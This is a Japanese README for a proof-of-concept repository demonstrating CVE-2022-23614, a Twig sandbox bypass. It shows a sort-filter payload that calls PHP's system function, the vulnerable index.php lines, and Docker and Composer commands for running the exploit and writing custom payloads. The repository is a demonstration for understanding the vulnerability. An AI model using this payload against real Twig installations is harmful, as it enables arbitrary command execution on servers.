
CVE-2022-23614 の概念実証 (PoC) で、DSA-5107-1 で参照されています。
Twig は、PHP 向けの柔軟で高速かつ安全なテンプレートエンジンです。特に、レンダリング前にテンプレート内でフィルタを使用することが可能です。sort フィルタは、次のような構造で配列の要素をソートするために使用できます。
{{ [5,8,2,3]|sort('desc') }}
Twig には、信頼できないテンプレートコードを評価するためのサンドボックスモードがあります。このサンドボックスモードでは、攻撃者が任意の PHP 関数を実行できるのを防ぐために、 sort フィルタの arrow パラメータはクロージャである必要があります。影響を受けるバージョンでは、この制約が適切に適用されておらず、任意の PHP コードのコードインジェクションにつながる可能性がありました。
{{ ["id",""]|sort('system') }}
この PoC は、2 つの異なるユースケースで脆弱性を示しています:Debian の php-twig (v2.14.1) パッケージを使用するか、Composer の twig/twig (v2.14) モジュールを使用するかのいずれかです。
index.php ファイルは、最初の引数に基づいて Twig テンプレートを作成します。次のコードでは、argv[1] はレンダリング時に Twig が使用するソート関数の名前です。
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
次に、index.php は Twig の 2 つの非推奨関数を使用して生成されたテンプレートをロードします。最終的に、2 番目の引数 (argv[2]) を使用して、レンダリング中にテンプレートにデータを渡します。特に、ソートしたい args 配列です。
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
レンダリングされたテンプレートは標準出力に出力されます。
このリポジトリはデモンストレーション目的のみで作成されたことに注意してください。コマンドラインインターフェースのみを使用して CVE を試すために、理解しやすく使いやすいように設計されています。実際の脆弱なサーバーにあるものとはかなり異なります。
Docker を使用して、元の Debian セキュリティ勧告 (DSA) のコンテキストを再現できます。付属の build-docker.sh スクリプトを使用して、脆弱なコンテナを適切にビルドして実行できます。
chmod a+x build-docker.sh
./build-docker.sh
ペイロード (id コマンド) が実行されると、コンテナはシャットダウンするはずです。独自のコマンドを試したい場合は、コンテナをインタラクティブモードで実行できます:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
コンテナ内で、次のモデルを使用して独自のペイロードを作成できます:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
この Dockerfile は、DECRET を部分的に使用して作成されました。
マシンに PHP と Composer が既にインストールされている場合は、脆弱な Composer モジュールを使用してエクスプロイトを再現できます。
cd exploit
composer install
その後、ペイロードを試すだけです。
php index.php system '{"args":["id",""]}'
CVE 詳細: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
パッチコミット: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
davwwwx による PoC (GUI 使用): https://github.com/davwwwx/CVE-2022-23614